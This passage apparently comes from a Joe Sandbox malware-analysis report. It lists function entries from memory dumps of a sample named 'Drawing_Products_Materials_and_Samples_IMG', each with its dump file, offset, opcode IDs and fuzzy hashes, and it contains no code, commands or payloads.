Instruction Fuzzy Hash: 1B415E71E003199BDB14DFA5C884ADEFBF5EF88750F148129E415B7244EB70AD46CB90

Function 37580D40 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151341097.0000000037580000.00000040.00000800.00020000.00000000.sdmp, Offset: 37580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37580000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8492cf4dd7e18730adb54b3c9a9a66a993518cd753a3399bf991343c0997b94
Instruction ID: d2190c0e3f0d4d87496f60c3851462160714d2e916843007fe7b54e2d735c085
Opcode Fuzzy Hash: b8492cf4dd7e18730adb54b3c9a9a66a993518cd753a3399bf991343c0997b94
Instruction Fuzzy Hash: 0C41BE79E01208DFDB44CFA9D5947EDBBF2AF49310F10902AD809B7294DB78AA46CF54

Function 0011AE28 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb930d0f494f7c34bed7ae5bd6058f528a7334bbc5ace656ce6c304fb3483206
Instruction ID: 92b0f8e546eaf30ea2eca316c423a39cb088282c5097e424ab91131a03885bde
Opcode Fuzzy Hash: fb930d0f494f7c34bed7ae5bd6058f528a7334bbc5ace656ce6c304fb3483206
Instruction Fuzzy Hash: C0414C756012199FCB18DF28C848AAE7BB5FF49711F514069F915DB3A0CB71DC81CBA2

Function 001159E0 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 180bf1ec24534c77599319a7d57816dad081c3e5b77d76bce901c02a0716f5c2
Instruction ID: c6f5a175057ace05d8674bb8d638b17014d9c891f6a3d4e17647a95337e7e2cf
Opcode Fuzzy Hash: 180bf1ec24534c77599319a7d57816dad081c3e5b77d76bce901c02a0716f5c2
Instruction Fuzzy Hash: 6C317E31704149EFCF099FA4D894AAE3BA6FF8A314F104029F90597295CB38DD62DB91

Function 36A93F59 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5d9e236f881c86be30cbc88711f52ff8b7329ef275aa0e3d12d88721d94d828
Instruction ID: 56a3c317cd21dae0b94f9943a14070e944a7638c2aee25865a4c8f8b28646a1b
Opcode Fuzzy Hash: d5d9e236f881c86be30cbc88711f52ff8b7329ef275aa0e3d12d88721d94d828
Instruction Fuzzy Hash: 58310735B002198FDB44DBA8C491EDDBBF2EF88720F255554E901AF362DB31EC858BA4

Function 36A93F8D Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3affc032944914072a9bcdf85d67ea9916855c928e47e75ef8fe7c5faa2603b3
Instruction ID: 64ab92e7d901373421e778cdaf599a396b74921d98081ad941db7931d023711f
Opcode Fuzzy Hash: 3affc032944914072a9bcdf85d67ea9916855c928e47e75ef8fe7c5faa2603b3
Instruction Fuzzy Hash: 67311835B002058FDB44DBA8C491EDD7BF6EF88720F255554E901AF362DA31EC858BA4

Function 3741DA48 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db16ce46f947373a2e084a5b9867df426e9fc1aa90653db508cfd977e314ef36
Instruction ID: c57162139463f99dcf2b5720b8c700521a0b33c7402c40a29dd368721dff44dc
Opcode Fuzzy Hash: db16ce46f947373a2e084a5b9867df426e9fc1aa90653db508cfd977e314ef36
Instruction Fuzzy Hash: 1E3109B4D01208DBEB14DFAAD9506EDBBF2AF8A300F24D42AC418BB354DB345942CF55

Function 374081D9 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151145187.0000000037400000.00000040.00000800.00020000.00000000.sdmp, Offset: 37400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ce2f77748b892d1460485c413020cf8b97bf15d2f9e50915cacd804ffd66283
Instruction ID: f9a3a385adc14abd31033c8cb040d780a09f346b9c4778930640643e0f9fde0c
Opcode Fuzzy Hash: 3ce2f77748b892d1460485c413020cf8b97bf15d2f9e50915cacd804ffd66283
Instruction Fuzzy Hash: F831C574D01608CBEB04DFAAC9546DEBBF6AF8A300F24953AC818BB254DB345942CF55

Function 374021A9 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151145187.0000000037400000.00000040.00000800.00020000.00000000.sdmp, Offset: 37400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed83ac44176726da67c973812be7585ad096000fd7020d5aa12ac5da943ee785
Instruction ID: a83081a54b610a2b8e8befbb1dd774055db02bf9913cfea5978864c94f02f353
Opcode Fuzzy Hash: ed83ac44176726da67c973812be7585ad096000fd7020d5aa12ac5da943ee785
Instruction Fuzzy Hash: B431C374E01248CBDB44DFAAC9506DEFBF6AF8A300F24952AD818BB354DB346942CF54

Function 00118718 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 371640f0311540dd259cf6713cdee2c05fae75c0249c795c6db794adcb1a2e3f
Instruction ID: 0a8579e572e8023be3f25dc7653a441f8d6961c6c5353b289aad2870cfe20e99
Opcode Fuzzy Hash: 371640f0311540dd259cf6713cdee2c05fae75c0249c795c6db794adcb1a2e3f
Instruction Fuzzy Hash: 5C219F357042104BEB2C272988946BE3A9BAFC5725F24C039D506CB3D9EF79CCC2A791

Function 0011B83B Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf1f74ce17e6d5ccd2ce6673a7d8cddf4971a8ac4bda711ab62277174c5f64a2
Instruction ID: 4b83df4d0a85a056ded1e0426aebad47e499a5c45304c7b44122afb849e49d89
Opcode Fuzzy Hash: cf1f74ce17e6d5ccd2ce6673a7d8cddf4971a8ac4bda711ab62277174c5f64a2
Instruction Fuzzy Hash: E9218036B045118FD7189B2DD484AAAB7EAAFC8B20B1A407AE405CB371CF71DC41D790

Function 00116680 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc2bc6fa016d2493aa74605d5fe7a5c3696bf1c7795077196ba47a4a6e18d0a1
Instruction ID: 55c91dd4be14b082aec8cc29fee1f84913d690f7fc5f2498ba60e1cddde6710b
Opcode Fuzzy Hash: bc2bc6fa016d2493aa74605d5fe7a5c3696bf1c7795077196ba47a4a6e18d0a1
Instruction Fuzzy Hash: BF2123357005118BC72C9B69D45496EB792FF8AB657158139E906DB390CF35DC42CBC0

Function 0011B840 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f74c3967f59200d776445e86e0e19d1a0f149824e0809e82f0626d1aa9089045
Instruction ID: 346af19220cf9e0e533e4e92e0af26c68af7d23355de280a7772d9cc9cdb91de
Opcode Fuzzy Hash: f74c3967f59200d776445e86e0e19d1a0f149824e0809e82f0626d1aa9089045
Instruction Fuzzy Hash: 09215036B045118FD7189B6DD494A6AB7EAAFC8B10B194079E405CB371DF71DC41C790

Function 00112C78 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0a88bf2ad7956fdae260ad35f446c43746116395db14d4afdfb522f2507e47f
Instruction ID: 8583f29048a7eb7dcfb3ff692b2f16d303542cbc44b14fdb8f07dd347b010333
Opcode Fuzzy Hash: e0a88bf2ad7956fdae260ad35f446c43746116395db14d4afdfb522f2507e47f
Instruction Fuzzy Hash: AE21A435A001189FDF28DB68D440AEE7BA5EB99360F10C029D81ADB250DB35EE47CBD1

Function 0009D664 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114295275.000000000009D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0009D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5205851e1e4416265446a9a0ade25526e944f23a20e6241af97806dd31dbc48
Instruction ID: 1cbc9f06894962fabae1671f7b78c0433d9af5d814ebb2fb0b2ed2d7d400260a
Opcode Fuzzy Hash: c5205851e1e4416265446a9a0ade25526e944f23a20e6241af97806dd31dbc48
Instruction Fuzzy Hash: 3E210375548340EFDF15DF50D9C0B1AFFA5EB84314F24816AE9090B246C336D856EBA1

Function 0009D578 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114295275.000000000009D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0009D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc097e1a3e68becb80a011f921ac83907daef05c6eab6b3f47c6410fdcfefe35
Instruction ID: 75ad3788187de2339026d143b56a8038f3163d1d80ca3a79c57740d0e2accc09
Opcode Fuzzy Hash: dc097e1a3e68becb80a011f921ac83907daef05c6eab6b3f47c6410fdcfefe35
Instruction Fuzzy Hash: 28212276244340DFDF14DF10D9C0B2ABFA5FB98324F34866AE9090B246C336D856EBA1

Function 000AD044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114412661.00000000000AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ad000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce598c5194055272c0282423165dfd091caaaf77c27720c27ee68baa0a90fbb9
Instruction ID: 4e4a260c40376217825afccffdf1d4fe722185371f8c324215e2c40f29788136
Opcode Fuzzy Hash: ce598c5194055272c0282423165dfd091caaaf77c27720c27ee68baa0a90fbb9
Instruction Fuzzy Hash: 2221F575604304EFDB24DF60D9C4F16BBA1EB85314F34C66EE94A4B642C736D846CA61

Function 3736A2D9 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cb78b3ec0c56ace512cb86fa2fe53b4d02f2d2a68448e6b677ec72c4afe0ba0
Instruction ID: 55ea9e18b5020a1e3963d6ce6f6edd44e656da1ae0c9a3dda6ab4e4bf1f1f46c
Opcode Fuzzy Hash: 7cb78b3ec0c56ace512cb86fa2fe53b4d02f2d2a68448e6b677ec72c4afe0ba0
Instruction Fuzzy Hash: 512112B5D012189FCB50CFA9D4847DEFBF0EB48320F20806AE808AB240D775AA45CBA4

Function 001159D7 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f1a5277ee3d57dbb031e52666a65409bf30db438063bae21b8286df665468af
Instruction ID: f5ab8755454960ddeb68ab03470b5430e562aa5afc0dbde5b7bf7e884f086e91
Opcode Fuzzy Hash: 9f1a5277ee3d57dbb031e52666a65409bf30db438063bae21b8286df665468af
Instruction Fuzzy Hash: AD210231744109EFDB089F64E485AEB3BA6FF8A314F004039F8068B255CB38DD96DB90

Function 0011A7C4 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53e1ed098f78bf6da260d78c2f364080b52bfd967e84fbdbb233c9145999b11d
Instruction ID: 792843e8e35894c5c470a09e6583cf2169f57a63b0e26ed1ea948ccab853908f
Opcode Fuzzy Hash: 53e1ed098f78bf6da260d78c2f364080b52bfd967e84fbdbb233c9145999b11d
Instruction Fuzzy Hash: 0D21B031605245CFCB19CF28C844B997FB1EF45315F4580AAE9599B2A2D731EC81CB52

Function 3736A2E0 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 950d78e5d43f48b47c657b148ce519324617a157f751ff972a8f920a6157116e
Instruction ID: 380ecc340f6b01f6d0f5370c1bfcdbc5b084a23e0aee75185429583228b26ada
Opcode Fuzzy Hash: 950d78e5d43f48b47c657b148ce519324617a157f751ff972a8f920a6157116e
Instruction Fuzzy Hash: 7E2104B5D012189FCB50CF99D584BDEFBF4EB48320F24806AE808AB240D775AA44CBA4

Function 00119AF9 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ad78e7cd27097601cb835cb1dd4a6808a8abee140ae762de6873b8c0c7680f8
Instruction ID: 6e328d212d51759686012d8b664fb29c4668f2cba65eb46fb6ef33607bf248f4
Opcode Fuzzy Hash: 3ad78e7cd27097601cb835cb1dd4a6808a8abee140ae762de6873b8c0c7680f8
Instruction Fuzzy Hash: C1216B30E042499FDB09CFA1E550AEEBBB6FF49300F248029F421B6250DB349981DB64

Function 0011B280 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85e70c7ccc51f9b32e91c3effa966570b4739c54da2180c5dbd892163ba17753
Instruction ID: bf69cd625b0b0999b7e7131c0664be03fcfc83215803cc3ccf85439d7bcd5afc
Opcode Fuzzy Hash: 85e70c7ccc51f9b32e91c3effa966570b4739c54da2180c5dbd892163ba17753
Instruction Fuzzy Hash: F2114F36B14204ABDB18DF65C994ADEBBB6FF8D710F108029E916A7350DB71AD11CB90

Function 36A9953F Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 277490b34669fee9bdd23b6a345b56493b80ea578c2b635523996e30a4614372
Instruction ID: 5dcb29796548aedc7ec76e41569f14834071b31f4ecdf8525800bbfb922b62b7
Opcode Fuzzy Hash: 277490b34669fee9bdd23b6a345b56493b80ea578c2b635523996e30a4614372
Instruction Fuzzy Hash: 85113D74E0921C9FEB04DFA9C984AEDB7F5FB88318F788165E908A7245DB349841CF50

Function 00116688 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a173fb76fe236fe8a84659ef151eb7d8c8c7cd0e8e87bf91fc01f342a806284
Instruction ID: 3e876403b14648909bb60c742a6cbede79171a36d05edb1bb4a683c2968457b9
Opcode Fuzzy Hash: 1a173fb76fe236fe8a84659ef151eb7d8c8c7cd0e8e87bf91fc01f342a806284
Instruction Fuzzy Hash: 7811E5357015118BC71D9B2AC85492EB796FF8A7653150078E906DB3A0DF21DC42CB90

Function 36A94800 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4306ffee4a846c8f01d703b3f546347e8c7a04758e86522a9e4595d8a728179
Instruction ID: b463246ae6559ce1012d4d8710c5024e3b0a77b3c4a28e10867180d73fd95cfc
Opcode Fuzzy Hash: e4306ffee4a846c8f01d703b3f546347e8c7a04758e86522a9e4595d8a728179
Instruction Fuzzy Hash: 75115135E003198BDB18EFB989546EEBBF5EF84250B618139D918A7300DB359C41CBE1

Function 00112B77 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4a0b9202ad71f5ac8470181da9e6dc056f0b051fa6b08b667386a2027c01960
Instruction ID: a0d5325bb0fb6ef6a1d253496c61871596102b98d48f73f08846831161ea4b0c
Opcode Fuzzy Hash: b4a0b9202ad71f5ac8470181da9e6dc056f0b051fa6b08b667386a2027c01960
Instruction Fuzzy Hash: 6221CE74D0460A8FCB44EFA9D8445EEBBF0FF4A301F10566AD805B3220EB345A95CB91

Function 3741F2C8 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d44f74d1bdade34f18ce01edd0b8721b70f4e577c7fbac85fc10a56cfe786fd4
Instruction ID: 4fb309f2a7f342fd212bd08c43a5f89a2d374c0fb84942456a3eb5dc061acdb1
Opcode Fuzzy Hash: d44f74d1bdade34f18ce01edd0b8721b70f4e577c7fbac85fc10a56cfe786fd4
Instruction Fuzzy Hash: AD112374A0434ACFEB04EB65D8047EE7BF1BB89320F0004A9C000B7282CF746946CBA9

Function 37369300 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb9b9fa3b3338ddc0d3de6225317ff1a3d623ff8b215e8e657e375738dda29dc
Instruction ID: d64b05def2f96245ec8b68f8d6728f059fdb0525fac816118331c6a2d149bd4f
Opcode Fuzzy Hash: fb9b9fa3b3338ddc0d3de6225317ff1a3d623ff8b215e8e657e375738dda29dc
Instruction Fuzzy Hash: EB1144768002499FDB10CF99C544BEEFBF4EB48320F20841AE558A7250C339AA95DFA5

Function 3736884C Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf37a1254967c4103ba3c284ec1b09d6f9671b03cfd3aeec8e6ea929071e505d
Instruction ID: 27c5973193872051d61a48350bce70edd93c33c62ae8a1cfc9ab665d716c7d34
Opcode Fuzzy Hash: bf37a1254967c4103ba3c284ec1b09d6f9671b03cfd3aeec8e6ea929071e505d
Instruction Fuzzy Hash: 13112E74F002488FEB00DFACD944BDEBBB5EB88715F108055E80CA7349E63099418B51

Function 37369308 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96f7f335b546bdcde81efac2185f53a50d34920833e4d2a6998418052f55ec1b
Instruction ID: aeee065cdcddc4fdfbedd77f4e7bd9a8c3a18a01645f4c28ab986a6b859d0652
Opcode Fuzzy Hash: 96f7f335b546bdcde81efac2185f53a50d34920833e4d2a6998418052f55ec1b
Instruction Fuzzy Hash: CC1126768002499FDB10CF99C944BDEBBF5EB48320F148419E558A7250C339A551DFA5

Function 3741F21A Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eadc53c66a38775c11b8c8803914f42ec6410ca709f8dcca0fdb0922e1872b58
Instruction ID: 5a3950550ab328c7a8f7312739738e0be79024b44510d6b39779df39d6812da1
Opcode Fuzzy Hash: eadc53c66a38775c11b8c8803914f42ec6410ca709f8dcca0fdb0922e1872b58
Instruction Fuzzy Hash: F3015A79E00614CFD760EF7CD958A9A7BF4AF8926171105A9E809E7321EB35EC428B90

Function 36A92FE8 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 736d270df8fabd631bdb311da9b4f55efa63c41b49feac0ddecded1349d15e13
Instruction ID: 4cde523da65570937229f5c1f7726a5d6a337fd412502b1d97cc6cdacd82c551
Opcode Fuzzy Hash: 736d270df8fabd631bdb311da9b4f55efa63c41b49feac0ddecded1349d15e13
Instruction Fuzzy Hash: 9B015235E0025DAFDB14AF64D844AEEBFB5FF89310F104439FC1996251DB304951DB95

Function 36A92FF8 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a333447e0759e2a9bac38f8260da70b39b6229d6ebfd2fec175fc3f87944d1e9
Instruction ID: 4135d49aa877ead06fe7fa36bb64fbc4663a9ac6ac57fa46bd17df65bdc06af4
Opcode Fuzzy Hash: a333447e0759e2a9bac38f8260da70b39b6229d6ebfd2fec175fc3f87944d1e9
Instruction Fuzzy Hash: 63015235E002199FDF14AF65D8546AE7BB9FF88350F004439FD1597241DB358D118BA5

Function 0009D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114295275.000000000009D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0009D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50f9336fae1b227ea5980fc78dfa3c0d5e0fbf53aa3c084b6fedbfd6c69708ac
Instruction ID: 21c016a76882e408b05a7e64080eb600907905f28bd073e88f9f5399163e30f6
Opcode Fuzzy Hash: 50f9336fae1b227ea5980fc78dfa3c0d5e0fbf53aa3c084b6fedbfd6c69708ac
Instruction Fuzzy Hash: 3301F231444340AFEB644A25CDC4B6AFFD8DF81364F28811BED480B282D27AD845EAB5

Function 0011AF70 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c35d021c784ed72a93eca8d7c753810d6dd48cc1a38cc5c8da75c994337b8c8d
Instruction ID: 235047c0d39292d6319f3d7f5b1ce80f1953ab4b626ef3e6e8e1d0c48d6ff771
Opcode Fuzzy Hash: c35d021c784ed72a93eca8d7c753810d6dd48cc1a38cc5c8da75c994337b8c8d
Instruction Fuzzy Hash: 8CF0C2713016124B871D6A2F8854AAEBB9EEFC5B517554079F805C7365DF20DC438791

Function 0011EB43 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6688724bf95d88be21f8b115e89a52494d31f86dc155a9d1c3c9a96db8a8b76e
Instruction ID: 07e623521ff6f888fe0b41c2f2fe2558d89578910c0bca23da22e1c72db8268a
Opcode Fuzzy Hash: 6688724bf95d88be21f8b115e89a52494d31f86dc155a9d1c3c9a96db8a8b76e
Instruction Fuzzy Hash: EE012574E04209EFDB01CFA8D8449EEBBB6FB4D310F109029D915A3351DB319A42DF90

Function 36A94898 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

